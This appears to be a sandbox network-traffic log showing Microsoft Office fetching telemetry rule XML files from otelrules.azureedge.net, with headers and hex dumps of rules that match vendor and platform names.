2024-12-08 14:38:32 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:32 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 759a56cd-c01e-0046-631d-492db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143832Z-r1cf579d7789jf56hC1EWRu58800000000ug000000001tux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-08 14:38:32 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:34 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:34 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: d196cbd9-901e-008f-5d03-4867a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143834Z-r1cf579d778zvkpnhC1EWRv23g00000005zg000000001ca2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:35 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:34 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:34 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 9609a204-f01e-001f-7444-495dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143834Z-r1cf579d7789trgthC1EWRkkfc0000000670000000007ehn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:34 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:34 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e267231f-301e-0099-3103-486683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143834Z-r1cf579d778xq4f9hC1EWRx41g00000005d00000000068cy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:35 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:34 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:34 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 30883f21-801e-00a0-1802-482196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143834Z-r1cf579d778t6txphC1EWRsd44000000061g000000006zp7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:35 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:34 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:34 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 32c7b88d-b01e-003e-5b01-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143834Z-r1cf579d778xr2r4hC1EWRqvfs00000005t00000000002za x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:35 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:36 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:36 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: d23b658c-101e-000b-2402-485e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143836Z-r1cf579d778bb9vvhC1EWRs954000000056g000000004rk0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:37 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:36 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:36 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: babd51c3-501e-008f-1378-499054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143836Z-r1cf579d7789jf56hC1EWRu58800000000u00000000025u6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:37 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:36 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:36 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 7ea70f1c-301e-005d-1d26-49e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143836Z-r1cf579d7789jf56hC1EWRu58800000000v00000000019cd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:37 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:36 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:36 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 072142d6-401e-0029-0802-489b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143836Z-r1cf579d778dndrdhC1EWR4b24000000055g000000008c6r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:37 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:36 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:37 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: eee9af6d-a01e-001e-1905-4849ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143837Z-r1cf579d778kr8xrhC1EWRfkun00000006300000000040dd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:37 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:38 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:39 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7407b41f-701e-0098-7b04-48395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143839Z-r1cf579d778dndrdhC1EWR4b240000000550000000008tsp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:39 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49791	13.107.246.63	443

